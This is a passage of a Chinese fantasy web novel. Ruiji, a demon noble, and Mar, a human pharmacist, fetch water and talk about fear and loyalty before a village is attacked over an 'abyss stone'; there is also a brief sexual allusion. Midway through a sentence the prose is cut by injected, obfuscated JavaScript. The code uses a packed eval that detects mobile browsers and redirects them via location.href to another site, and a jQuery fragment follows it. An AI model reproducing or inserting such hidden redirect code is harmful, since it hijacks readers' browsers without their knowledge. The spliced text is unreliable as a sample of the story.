“哎,来了来了。”
突然被喊去打水,瑞基虽有些措手不及,却下意识地跟了过去。
然而刚迈步,他却猛地一顿,眉头紧皱——
这个人类药师喊他的语气和口吻,怎么这么像玛尔巴什?
而且……
他噘着嘴,一边走过去一边小声嘀咕:"这命令人的语气,跟喊宠物似的......"
他没忘自己不能离玛尔十步远,连忙快步走出门,来到他身旁。
玛尔站在门口,脚边放着四只水桶和两根扁长的竹条。
“这是什么?”瑞基看着他肩上的竹条,好奇地问道。
玛尔抬起手,推了推眼镜,解释道:“这是扁担,用来挑水的,桶两边挂上就能抬。”
“哇!”瑞基第一次见到这种工具,顿时来了兴趣。他学着玛尔的样子扛起竹条,兴奋地晃了晃,“变……蛋?原来水还能这么挑,好酷啊!长见识了!”
玛尔原以为这家伙会傲慢地来上一句“小爷我才不会用这种贱民工具”,没想到瑞基竟然接受得挺快,一时间有些意外。
“你看着我干嘛?”瑞基见玛尔愣愣地盯着自己,忙催促道,“走吧,咱们快去挑水吧!威廉还等着我们呢。”
“哦,哦……”玛尔点头,挑起扁担往前带路。
二人沿着碎石小路前行,玛尔沉默片刻,终于有些迟疑地开口:“瑞基……我还以为你会生气。”
瑞基疑惑:“嗯?生什么气?”
玛尔抿了抿唇,低声道:“我没问过你的意见,就让你来挑水,还用这种贫民工具……可你也说了自己是贵族,随便拿出的东西都价值连城,在魔界地位肯定不低。做这些活,真的不会觉得屈辱吗?”
这家伙在魔界可是出了名的暴脾气,稍有不顺心就拳打脚踢,搞得人人避之不及,连提起他的名字都要掂量三分。
瑞基挑眉,嘻嘻一笑,道:“不就是挑水嘛,这有什么好生气的?”
“至于屈辱……不至于吧,不就是挑个水。”瑞基耸耸肩,随即又若有所思地补充,“不过你会这么想,也不是没有道理。”
他抬头望向树上枝头新发的嫩芽,目光微微晃神,语气透着几分惆怅:“在魔界,我确实是高高在上的贵族,也确实总把‘小爷我怎么怎么样’挂在嘴边。但……”
他顿了顿,声音平静却透着一丝无奈:“我其实是故意那么做的——我要他们怕我。”
想到上辈子那两个因自己一时心软提拔起来,却在他失势后百般羞辱他的守卫,瑞基的眼中闪过一丝阴霾。
“在魔界,尤其是贵族圈子里的侍魔,大都是一些又蠢又坏的家伙,恐惧才是驱使他们干活最有效的方法。你若仁慈,他们就敢骑到你头上作威作福。”
玛尔的眼镜片闪过一道光,声音沉稳锐利:“可如果是这样,你又怎么收获真正忠诚于你的下属?”
“哈,忠诚?”瑞基嗤笑一声,语气透着讥讽,“贵族圈子里,逢场作戏是生存法则,一切关系都建立在利益交换上。若是天真地付出真心,那就等于亲手把自己送上祭坛。”
他的语调淡然,目光却幽深得像浸着寒风的夜色,幽怨又讽刺:“啧……总之,你大概听不懂,但这些可是我用血换来的教训。”
他话里带着讽刺,有透着股破罐子破摔的狠劲,听得玛尔巴什心里一阵发怔。
……血的教训?
几百年来,瑞基一直在自己眼皮底下,他的一举一动都逃不过自己的视线,哪来的机会用血换教训?
况且……
回想起先前在潘地曼尼南城堡书房时,瑞基看他的眼神冰冷如铁,那双红眸里的抗拒与憎恨几乎要溢出来,他便觉得胸口堵得发慌。
不对,瑞基不对劲——肯定发生了什么!
明明就在瑞基跑掉的前一天,他还缠他缠得要死,抱着一大束金红玫瑰朝他撒娇,非要逼着自己为他洗手作羹汤。
难道瑞基知道自己打算政变软禁他了?
玛尔瞥了瑞基一眼,目光刚触及那双艳丽耀眼的红眸,便像被烫到似的,猛地移开视线。
……不,不可能。要是真知道了计划,以瑞基的性子,早该提着剑冲过来和自己大吵一架,绝不会像只受惊的猫一样落荒而逃。
他垂眸思索,眼底寒意渐深,指尖无意识地摩挲着衣袖。
如果只是魔王和梅西耶的召唤,命令他去无尽深渊取黑环,瑞基不应该对自己是这个态度。
所以,他在说谎,或者至少,隐瞒了部分真相。
玛尔眯起眼,脑海中迅速推演着所有可能。
他很确定,一定发生了什么,彻底改变了瑞基,让他变得如此抗拒自己,甚至仇视到避之不及。
想到这里,他微微眯起的眼里闪烁着森冷的光,浑身散发着一种阴寒的戾气,活像一条蓄势待发的毒蛇。
到底是谁,竟敢在他眼皮底下接近瑞基,甚至把他变成了这样......
不急。时间还长,他总能查出真相。
不过有一点他必须弄清楚——瑞基究竟在隐瞒什么。
大树下,简陋的水井安静地躺在新夜中,皎洁的月光自树叶缝隙间洒落下来,在井边斑驳的青石板上投下细碎的银光。
“咯吱,咯吱——”拴着木桶的绳索缓缓滑过吊轮,发出一阵颤颤巍巍的响声。
二人很快打好水,当瑞基扛起扁担时,身体却突然一僵,脸上浮现出一抹尴尬——
这水怎么这么沉?!
他抬头看向玛尔,这不看还好,一看他眼珠子都要掉出来了。
只见被自己嫌弃武力值为零的人类药师神色自若,肩膀微微一沉,扁担稳稳架在肩上,两桶满满的井水被他轻松挑起,一点也不费力。
瑞基借着月光,清楚地看到了对方修长的身形:宽松的药师袍因扁担的牵引而变得贴合肌肤,衣料随着他的动作微微绷紧,肩背微微绷起,后背的肌肉如潜伏的野兽般暗藏锋芒。
夜风撩起他的衣袖,露出线条流畅的小臂,肌肉随着动作起伏着,在月光下泛着健康的光
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15221464|165755||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
泽。
他见他没有动,便停下了脚步,转身看向他时,随意地撩了下额前的碎发,露出一张温和俊美的东方面孔,在月色中透着说不出的魅力。
明明是一副文弱药师的样子,怎么会有这样一副充满力量的身躯……
这种视觉上的反差和冲击让瑞基感到一阵心悸。
他忍不住想起玛尔巴什,那个克己复礼、总是一丝不苟穿着法师长袍的男人,他也是这样,穿衣显瘦,脱了衣服后,却是一身让人挪不开眼的性感肌肉,尤其是他骑在他身上挺腰撞击时……
“瑞基,怎么不走了?”玛尔侧头看他,语气里带着一丝疑惑,“你没事吧?”
他的关心犹如一道惊雷,瞬间把瑞基劈回了现实。
呸呸呸!他才不会去想那个阴险又恶心的老怪物!更没有半点羡慕他的肌肉!
不就是两桶水吗?哪怕现在被人界法则压制了力量,他也一样能挑得动!
“我没事!”他咬牙,颤抖着挑起了水,脸憋得通红,“……走吧!”
然而,他们才走出几步,便见村子中心火光冲天,映红夜色,伴随着妇女的尖叫和烈马的嘶鸣。
火光翻腾中,一道低沉而粗粝的声音怒吼道——
“搜!掘地三尺,也要把藏在这里的深渊之石找出来!”
村子火光冲天,烈焰翻腾,黑烟滚滚升起,伴随着村民们惊恐的尖叫利刃撕裂血肉的沉闷声。
“搜!艾摩斯大人命令,务必找到深渊之石,献给伟大的真神魔瑞寇!”
什么!邪神也在找深渊之石?
瑞基一惊,连忙放下扁担,快步向小木屋跑去——
得赶紧找到威廉,那块深渊之石绝不能落入他们手中!
他刚迈出几步,就被一只有力的手猛地扣住了手腕。
“别慌。”玛尔握住他,黑框眼镜片微微一闪,“他们的目标不是威廉,而是原本藏在落叶村的深渊之石。”
“可是——”瑞基焦急地看向小木屋,“我还是不放心他……”
“瑞基,分清主次!”玛尔沉声道,“威廉既然能带着那东西满世界跑,就说明他有自保之力。现在最重要的是,我们得赶在袭击村子那群人之前找到深渊之石!”
瑞基咬牙,最终点头,“你说得对!……可是我们该怎么在他们之前找石头?”
玛尔扶了扶眼镜,目光投向村中最混乱的地方,冷静道:“我们借着夜色悄悄靠近,先弄清袭击者的身份,再判断他们的动向,提前预判下一步行动。”
“既然他们的目标也是深渊之石,那我们就利用他们,跟在他们后面,等确定石头位置以后来一个螳螂捕蝉黄雀在后。”
瑞基眨了眨眼,思考了一些:他的意思是跟着这群人,然后等他们找到石头后从他们手里抢过来……
好主意!
“明白了!我们走!”他摸了摸背在身后的猩红长剑,心里战意十足。
玛尔点头:
“跟我来,我知道一条通往村中央的捷径。”